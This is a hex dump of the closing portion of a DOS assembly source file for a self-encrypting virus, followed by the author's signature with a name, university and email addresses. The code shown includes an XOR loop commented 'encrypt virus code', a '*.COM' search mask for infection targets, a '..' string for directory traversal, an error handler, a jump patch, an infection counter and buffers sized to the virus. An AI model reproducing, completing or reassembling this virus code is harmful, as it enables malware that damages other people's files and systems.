|000022a0| 20 20 20 20 20 20 20 20 | 20 20 72 65 70 20 20 20 | | rep |
|000022b0| 20 20 6d 6f 76 73 62 0d | 0d 0a 0d 0d 0a 20 20 20 | movsb.|..... |
|000022c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000022d0| 20 20 20 20 20 63 78 2c | 56 49 52 55 53 5f 53 49 | cx,|VIRUS_SI|
|000022e0| 5a 45 20 2f 20 32 20 2b | 20 31 0d 0d 0a 65 6e 63 |ZE / 2 +| 1...enc|
|000022f0| 72 79 70 74 3a 0d 0d 0a | 20 20 20 20 20 20 20 20 |rypt:...| |
|00002300| 20 20 20 20 20 20 20 20 | 6c 6f 64 73 77 20 20 20 | |lodsw |
|00002310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002320| 20 20 20 20 20 20 20 20 | 3b 20 65 6e 63 72 79 70 | |; encryp|
|00002330| 74 20 76 69 72 75 73 20 | 63 6f 64 65 0d 0d 0a 20 |t virus |code... |
|00002340| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 | | x|
|00002350| 6f 72 20 20 20 20 20 61 | 78 2c 64 78 0d 0d 0a 20 |or a|x,dx... |
|00002360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 | | s|
|00002370| 74 6f 73 77 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |tosw... | |
|00002380| 20 20 20 20 20 20 20 6c | 6f 6f 70 20 20 20 20 65 | l|oop e|
|00002390| 6e 63 72 79 70 74 0d 0d | 0a 0d 0d 0a 20 20 20 20 |ncrypt..|.... |
|000023a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 | | pop |
|000023b0| 20 20 20 20 63 78 20 61 | 78 0d 0d 0a 20 20 20 20 | cx a|x... |
|000023c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 0d | | ret.|
|000023d0| 0d 0a 0d 0d 0a 0d 0d 0a | 66 69 6e 64 5f 6d 65 20 |........|find_me |
|000023e0| 20 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 | |db |
|000023f0| 27 2a 2e 43 4f 4d 27 2c | 30 0d 0d 0a 6f 75 74 65 |'*.COM',|0...oute|
|00002400| 72 20 20 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |r | db |
|00002410| 20 20 20 20 27 2e 2e 27 | 2c 30 0d 0d 0a 0d 0d 0a | '..'|,0......|
|00002420| 69 6e 74 5f 32 34 3a 0d | 0d 0a 20 20 20 20 20 20 |int_24:.|.. |
|00002430| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00002440| 20 20 61 6c 2c 33 20 20 | 20 20 20 20 20 20 20 20 | al,3 | |
|00002450| 20 20 20 20 20 20 20 20 | 20 20 3b 20 69 6e 74 20 | | ; int |
|00002460| 32 34 20 68 61 6e 64 6c | 65 72 0d 0d 0a 20 20 20 |24 handl|er... |
|00002470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 72 65 | | ire|
|00002480| 74 0d 0d 0a 6e 65 77 5f | 6a 75 6d 70 20 20 20 20 |t...new_|jump |
|00002490| 20 20 20 20 64 62 20 20 | 20 20 20 20 30 45 39 68 | db | 0E9h|
|000024a0| 2c 30 2c 30 0d 0d 0a 0d | 0d 0a 69 6e 66 65 63 74 |,0,0....|..infect|
|000024b0| 69 6f 6e 73 20 20 20 20 | 20 20 64 62 20 20 20 20 |ions | db |
|000024c0| 20 20 30 0d 0d 0a 76 69 | 72 75 73 5f 65 6e 64 3a | 0...vi|rus_end:|
|000024d0| 0d 0d 0a 56 49 52 55 53 | 5f 53 49 5a 45 20 20 20 |...VIRUS|_SIZE |
|000024e0| 20 20 20 65 71 75 20 20 | 20 20 20 76 69 72 75 73 | equ | virus|
|000024f0| 5f 65 6e 64 20 2d 20 76 | 69 72 75 73 5f 62 65 67 |_end - v|irus_beg|
|00002500| 69 6e 0d 0d 0a 72 65 61 | 64 5f 62 75 66 66 65 72 |in...rea|d_buffer|
|00002510| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 32 38 20 | db | 28 |
|00002520| 64 75 70 20 28 3f 29 20 | 20 20 20 20 20 20 20 20 |dup (?) | |
|00002530| 20 20 20 20 20 3b 20 72 | 65 61 64 20 62 75 66 66 | ; r|ead buff|
|00002540| 65 72 0d 0d 0a 6e 65 77 | 5f 44 54 41 20 20 20 20 |er...new|_DTA |
|00002550| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 31 32 38 | db | 128|
|00002560| 20 64 75 70 28 3f 29 0d | 0d 0a 65 6e 63 72 79 70 | dup(?).|..encryp|
|00002570| 74 5f 62 75 66 66 65 72 | 20 20 64 62 20 20 20 20 |t_buffer| db |
|00002580| 20 20 56 49 52 55 53 5f | 53 49 5a 45 20 64 75 70 | VIRUS_|SIZE dup|
|00002590| 20 28 3f 29 20 20 20 20 | 20 20 3b 20 65 6e 63 72 | (?) | ; encr|
|000025a0| 79 70 74 69 6f 6e 20 62 | 75 66 66 65 72 0d 0d 0a |yption b|uffer...|
|000025b0| 0d 0d 0a 65 6e 64 5f 68 | 65 61 70 3a 0d 0d 0a 0d |...end_h|eap:....|
|000025c0| 0d 0a 4d 45 4d 5f 53 49 | 5a 45 20 20 20 20 20 20 |..MEM_SI|ZE |
|000025d0| 20 20 65 71 75 20 20 20 | 20 20 65 6e 64 5f 68 65 | equ | end_he|
|000025e0| 61 70 20 2d 20 73 74 61 | 72 74 0d 0d 0a 0d 0d 0a |ap - sta|rt......|
|000025f0| 63 6f 64 65 20 20 20 20 | 20 20 20 20 20 20 20 20 |code | |
|00002600| 65 6e 64 73 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |ends... | |
|00002610| 20 20 20 20 20 20 20 65 | 6e 64 20 20 20 20 20 73 | e|nd s|
|00002620| 74 61 72 74 0d 0d 0a 0d | 0d 0a 0d 0d 0a 2d 2d 0d |tart....|.....--.|
|00002630| 0d 0a 45 72 69 63 20 22 | 4d 61 64 20 44 6f 67 22 |..Eric "|Mad Dog"|
|00002640| 20 4b 69 6c 62 79 20 20 | 20 20 20 20 20 20 20 20 | Kilby | |
|00002650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002660| 20 20 20 20 20 20 20 6d | 61 64 64 6f 67 40 63 63 | m|addog@cc|
|00002670| 73 2e 6e 65 75 2e 65 64 | 75 0d 0d 0a 54 68 65 20 |s.neu.ed|u...The |
|00002680| 47 72 65 61 74 20 53 70 | 6f 72 6b 65 75 73 20 4d |Great Sp|orkeus M|
|00002690| 61 78 69 6d 75 73 09 09 | 09 20 20 20 20 20 65 6b |aximus..|. ek|
|000026a0| 69 6c 62 79 40 6c 79 6e | 78 2e 64 61 63 2e 6e 65 |ilby@lyn|x.dac.ne|
|000026b0| 75 2e 65 64 75 0d 0d 0a | 53 74 75 64 65 6e 74 20 |u.edu...|Student |
|000026c0| 61 74 20 74 68 65 20 4e | 6f 72 74 68 65 61 74 73 |at the N|ortheats|
|000026d0| 74 65 72 6e 20 55 6e 69 | 76 65 72 73 69 74 79 20 |tern Uni|versity |
|000026e0| 43 6f 6c 6c 65 67 65 20 | 6f 66 20 43 6f 6d 70 75 |College |of Compu|
|000026f0| 74 65 72 20 53 63 69 65 | 6e 63 65 20 0d 0d 0a 22 |ter Scie|nce ..."|
|00002700| 49 20 43 61 6e 27 74 20 | 42 65 6c 69 65 76 65 20 |I Can't |Believe |
|00002710| 49 74 27 73 20 4e 6f 74 | 20 42 75 74 74 65 72 22 |It's Not| Butter"|
|00002720| 0d 0d 0a 0d 0d 0a | |...... | |
+--------+-------------------------+-------------------------+--------+--------+
